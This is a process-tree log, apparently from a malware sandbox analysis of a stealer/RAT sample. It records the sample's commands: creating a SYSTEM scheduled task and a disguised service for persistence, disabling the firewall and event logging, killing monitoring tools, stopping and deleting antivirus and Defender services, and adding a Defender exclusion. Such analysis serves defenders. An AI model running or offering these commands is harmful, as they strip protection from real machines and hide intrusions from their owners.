                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:2448
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                    PID:5912
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                      PID:5464
                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                        schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                        PID:1420
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:5412
                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                        schtasks /run /tn "IronChain_SYSTEM"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:344
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:624
                                                                                                                                                                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                          netsh advfirewall set allprofiles state off
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                                                                                                          PID:4888
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "sc stop EventLog"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:3764
                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                          sc stop EventLog
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                          PID:2524
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:2088
                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                          sc config EventLog start= disabled
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                          PID:4124
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "sc stop Resmon"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:5096
                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                          sc stop Resmon
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                          PID:1480
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:2948
                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                          sc config Resmon start= disabled
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                          PID:4144
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im Taskmgr.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:344
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im regedit.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:1760
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im cmd.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:1792
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im msconfig.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:1908
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im procexp.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:2584
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im procexp64.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:2100
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im services.msc
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:480
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im mmc.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:5712
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im SystemSettings.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:4572
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im control.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:3456
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im WindowsSecurity.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:2764
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im MsMpEng.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:5104
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im powershell.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:3464
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im pwsh.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:200
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im taskkill.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:2072
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im wmic.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:5512
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im diskpart.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:5904
                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                        net stop AVP /y
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4244
                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 stop AVP /y
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:868
                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                            sc config AVP start= disabled
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:1388
                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                              sc delete AVP
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                              PID:1620
                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                              net stop KAV /y
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:4928
                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop KAV /y
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:1728
                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                  sc config KAV start= disabled
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                  PID:3948
                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                  sc delete KAV
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4388
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:6072
                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                      net stop BDSS /y
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:5392
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop BDSS /y
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:3680
                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                          sc config BDSS start= disabled
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:4796
                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                            sc delete BDSS
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                            PID:4608
                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                            net stop Bitdefender /y
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:3592
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 stop Bitdefender /y
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:3400
                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                sc config Bitdefender start= disabled
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                PID:4172
                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                sc delete Bitdefender
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:2096
                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                  net stop "avast! Antivirus" /y
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:6068
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop "avast! Antivirus" /y
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:948
                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                      sc config "avast! Antivirus" start= disabled
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:2140
                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                      sc delete "avast! Antivirus"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:1068
                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                      net stop "avast! Service" /y
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:1324
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 stop "avast! Service" /y
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:3724
                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                          sc config "avast! Service" start= disabled
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                          PID:2532
                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                          sc delete "avast! Service"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                          PID:5512
                                                                                                                                                                                                                                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                          net stop AVG /y
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:2708
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 stop AVG /y
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:924
                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                              sc config AVG start= disabled
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                              PID:2112
                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                              sc delete AVG
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                                                                                                              PID:2584
                                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                              net stop MBAMService /y
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:5336
                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop MBAMService /y
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:1784
                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                  sc config MBAMService start= disabled
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                                                  PID:5420
                                                                                                                                                                                                                                                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                  sc delete MBAMService
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:3800
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                    net stop DrWeb /y
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:3236
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 stop DrWeb /y
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:2460
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                        sc config DrWeb start= disabled
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:2632
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                        sc delete DrWeb
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:5620
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                        net stop wscsvc /y
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:4992
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 stop wscsvc /y
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:6048
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                            sc config wscsvc start= disabled
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                            PID:4652
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                            sc delete wscsvc
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                            PID:932
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                            net stop SecurityHealthService /y
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:6036
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 stop SecurityHealthService /y
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:4320
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                sc config SecurityHealthService start= disabled
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                PID:1852
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                sc delete SecurityHealthService
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                PID:4268
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                                net stop Sense /y
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:4144
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 stop Sense /y
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:4100
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                    sc config Sense start= disabled
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                    PID:5052
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                    sc delete Sense
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                    PID:5852
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                                    net stop WinDefend /y
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:1420
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 stop WinDefend /y
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:2156
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                        sc config WinDefend start= disabled
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                        PID:4676
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                        sc delete WinDefend
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                        PID:3256
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                                        net stop WdNisSvc /y
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:1800
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 stop WdNisSvc /y
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:2072
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                            sc config WdNisSvc start= disabled
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                            PID:3036
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                            sc delete WdNisSvc
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                            PID:4416
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                                            net stop MpKslDrv /y
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:5992
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 stop MpKslDrv /y
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5248
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                                sc config MpKslDrv start= disabled
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                PID:2976
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                                sc delete MpKslDrv
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                PID:1936
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\net.exe
                                                                                                                                                                                                                                                                                                                                                net stop NisSrv /y
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2384
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 stop NisSrv /y
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2260
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                                    sc config NisSrv start= disabled
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                    PID:6140
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\sc.exe
                                                                                                                                                                                                                                                                                                                                                    sc delete NisSrv
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                    PID:3460
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5228
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" start= auto DisplayName= "IronChain Security Component""
                                                                                                                                                                                                                                                                                                                                                      3⤵
